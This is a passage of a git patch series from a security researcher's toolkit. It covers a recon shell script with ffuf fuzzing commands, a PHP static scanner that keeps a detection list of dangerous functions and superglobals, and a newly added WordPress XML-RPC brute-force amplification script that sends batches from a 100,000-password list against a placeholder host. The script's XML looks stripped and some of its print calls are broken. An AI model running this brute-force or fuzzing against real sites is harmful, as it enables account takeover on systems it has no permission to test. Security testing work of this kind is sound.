"User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi # x8 @@ -382,7 +382,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,403,500 + HTTP_RESP_CODES=200,206,301,302,500 else HTTP_RESP_CODES=$4 fi From 930a63067b3aa0313483b491ccf1ca49e71083e8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Nov 2022 16:46:13 +0000 Subject: [PATCH 265/369] [pef] Added POST, GET, REQUEST and COOKIES to detection as CRITICAL --- pef/imports/pefdocs.py | 24 ++++++++++++++++++++++++ pef/pef.py | 1 - 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index fb7a50f..3be2893 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -466,5 +466,29 @@ "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "critical" ] } diff --git a/pef/pef.py b/pef/pef.py index 070a7f0..d8ee034 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -117,7 +117,6 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 all_lines = f.readlines() - for l in all_lines: i += 1 line = l.rstrip() From ad2341e9cbea4e4ef20668ee2cb9958f8c0d19ed Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Dec 2022 21:41:03 +0000 Subject: [PATCH 266/369] [pef] 'TypeError: expected str, bytes or os.PathLike object, not NoneType' due to missing file [FIXED] --- pef/pef.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d8ee034..db73419 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -149,7 +149,8 @@ def run(self): if __name__ == "__main__": parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__ + description=sys.modules[__name__].__doc__, + add_help=True ) filename = '.' # initial value for file/dir to scan is current directory @@ -158,7 +159,10 @@ def run(self): parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") + "-f", + "--file", + help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", + required=True) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' From 1cdde13c5f7957da8e05834d0947783264b40229 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:49:31 +0000 Subject: [PATCH 267/369] [pef] multiple options for --level --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index db73419..7d65120 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -96,7 +96,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if impact.upper() == level.upper() or level == 'ALL': + if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" From a68239d8b20b06dd2a82c7adda9c98486cf2a4f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:55:13 +0000 Subject: [PATCH 268/369] [pef] multiple options for --level --- pef/pef.py | 117 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 115 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7d65120..fc47e3d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -20,10 +20,123 @@ import re import argparse -from imports import pefdefs from imports import pefdocs from imports.beautyConsole import beautyConsole +# exploitable functions +exploitableFunctions = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "header(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "header(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "$_POST", + "$_GET", + "$_COOKIE", + "$_REQUEST", + "$_SERVER", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "$_SERVER[\"PHP_SELF\"]", + "$_SERVER[\"SERVER_ADDR\"]", + "$_SERVER[\"SERVER_NAME\"]", + "$_SERVER[\"REMOTE_ADDR\"]", + "$_SERVER[\"REMOTE_HOST\"]", + "$_SERVER[\"REQUEST_URI\"]", + "$_SERVER[\"HTTP_USER_AGENT\"]", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" +] + def banner(): """ @@ -121,7 +234,7 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in pefdefs.exploitableFunctions: + for fn in exploitableFunctions: self.analyse_line(l, i, fn, f, line) return # return how many findings in current file From 1e1a3737eacb48bdacb2560ee53db5f04dc90dc5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Dec 2022 20:16:24 +0000 Subject: [PATCH 269/369] [pef] Refactoring; file separator in results --- pef/imports/pefdefs.py | 115 ----------------------------------------- pef/pef.py | 28 ++++++---- 2 files changed, 17 insertions(+), 126 deletions(-) delete mode 100755 pef/imports/pefdefs.py diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py deleted file mode 100755 index 7b5a6be..0000000 --- a/pef/imports/pefdefs.py +++ /dev/null @@ -1,115 +0,0 @@ -# Definitions for pef.py - -# exploitable functions -exploitableFunctions = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "header(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "header(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "$_POST", - "$_GET", - "$_COOKIE", - "$_REQUEST", - "$_SERVER", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] diff --git a/pef/pef.py b/pef/pef.py index fc47e3d..2b9cdc5 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -181,7 +181,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - + res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) fn = "{}".format(fn) @@ -189,9 +189,9 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: - self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, - self.level) - return + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ @@ -204,6 +204,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): "critical": "red" } + found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -216,12 +217,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): else: print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) - + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return + return found > 0 def main(self, src): """ @@ -229,32 +230,37 @@ def main(self, src): """ f = open(src, "r", encoding="ISO-8859-1") i = 0 + res = None all_lines = f.readlines() for l in all_lines: i += 1 line = l.rstrip() if self.level: for fn in exploitableFunctions: - self.analyse_line(l, i, fn, f, line) - - return # return how many findings in current file + if self.analyse_line(l, i, fn, f, line) == True: + res = True + return res # return how many findings in current file def run(self): """ runs scanning """ + print( + f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) + if res is not None and f != prev_filename: + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + prev_filename = f else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) - - print(beautyConsole.getColor("white") + "-" * 100) print("\n") From 2b00f42154a080fb9cac9ce418fd07db93c98199 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Jan 2023 08:47:36 +0000 Subject: [PATCH 270/369] [pef] exclude comments from scan results --- pef/pef.py | 17 +++-- s0mbra.sh | 10 +-- xmlrpc_amplif_bruteforce.py | 127 ++++++++++++++++++++++++++++++++++++ 3 files changed, 145 insertions(+), 9 deletions(-) create mode 100644 xmlrpc_amplif_bruteforce.py diff --git a/pef/pef.py b/pef/pef.py index 2b9cdc5..14fc868 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -200,7 +200,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact_color = { "low": "green", "medium": "yellow", - "high": "red", + "high": "yellow", "critical": "red" } @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) found += 1 if impact not in severity.keys(): @@ -236,9 +236,10 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: - res = True + if not self.is_comment(line): + for fn in exploitableFunctions: + if self.analyse_line(l, i, fn, f, line) == True: + res = True return res # return how many findings in current file def run(self): @@ -263,6 +264,12 @@ def run(self): self.found_entries = self.main(self.filename) print("\n") + def is_comment(self, line: str) -> bool: + """ + If line is a comment, we should ignore it + """ + line = re.sub(r"\s+", "", line) + return line.startswith("/") or line.startswith("*") # main program if __name__ == "__main__": diff --git a/s0mbra.sh b/s0mbra.sh index 8a90bf1..96b50e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -rf $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -rf hm* + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -394,6 +394,8 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + elif [[ $3 == "-" ]]; then + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all @@ -831,7 +833,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py new file mode 100644 index 0000000..0e2b30c --- /dev/null +++ b/xmlrpc_amplif_bruteforce.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +# +# XML-RPC bruteforce amplification attack +# https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ + +import requests + +output = open("./output.txt", "w") +passwords = open( + "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() +host = "HOST.com" + +# headers used in POST requests +h = { + "Host": host, + "User-Agent": "HackerOne/bl4de" +} + +index = 0 + +# XMLRPC url +url = f"https://{host}/xmlrpc.php" + +print("[+] building payload...") +# building payload for system.multicall wp.getUsersBlogs +payload_start = """ + + + system.multicall + + + + + +""" + + +payload_end = """ + + + + + + +""" + +total = 0 + + +def send_request_with_username(username, passwords): + global total + payload = "" + username = username.strip() + + for password in passwords: + payload = payload + """ + + + + methodName + + wp.getUsersBlogs + + + + params + + + + + + + + {} + + + {} + + + + + + + + + + + """.format(username, password.strip()) + total = total + 1 + + print("\n[+] payload for {} ready ({} KB)...".format(username, len(payload)/64)) + + payload = payload_start + payload + payload_end + + print(payload) + + print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) + resp = requests.post(url, headers=h, data=payload) + + if resp.status_code == 200: + print("[+] response HTTP 200 OK received, analysing results...") + # p0wned. This is the end :P + if "isAdmin" in resp.content: + print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) + output.write(resp.content) + exit(0) + + else: + print( + "[-] no matching username/password for {} found... :(").format(username) + + output.write(resp.content) + + else: + print("[-] something wrong, {} HTTP Response form{} received: \n\n").format( + resp.status_code, username) + print(resp.content) + + +# for username in usernames: +# send_request_with_username("trapcall", ["123456"]) + +for i in range(0, 100000, 64): + p = passwords[i:i+64] + send_request_with_username("trapcall", p) + +print("[+] done...\n\n") From fb159bd55ab695fa61d41260609e52ca5e6f5fe1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 Jan 2023 11:03:34 +0000 Subject: [PATCH 271/369] [s0mbra] added graphw00f; new menu layout --- s0mbra.sh | 84 +++++++++++++++++++++++++++---------------------------- 1 file changed, 41 insertions(+), 43 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96b50e7..4e841a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -10,8 +10,6 @@ LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' BLUE_BG='\033[48;5;4m' -LIGHTBLUE='\033[34m' -LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -202,7 +200,7 @@ nfs_enum() { # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D -lookaround() { +scope() { TMPDIR=$(pwd) START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" @@ -237,7 +235,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# quick lookaround, but for single domain - no need to create scope file +# quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then @@ -602,6 +600,14 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes graphw00f fingerprint against GraphQL endpoint +graphw00f() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting $1 GraphQL endpoint with graphw00f...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # runs PHP SAST tools against PHP application php_sast() { clear @@ -715,8 +721,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - lookaround) - lookaround "$2" + scope) + scope "$2" ;; peek) peek "$2" @@ -763,6 +769,9 @@ case "$cmd" in gql) gql "$2" ;; + graphw00f) + graphw00f "$2" + ;; dex_to_jar) dex_to_jar "$2" ;; @@ -829,50 +838,39 @@ case "$cmd" in *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" + echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,x8,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" + echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" - echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" - echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" - echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" + echo -e "$CYAN smb_umount $CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" - echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" + echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" + + echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk 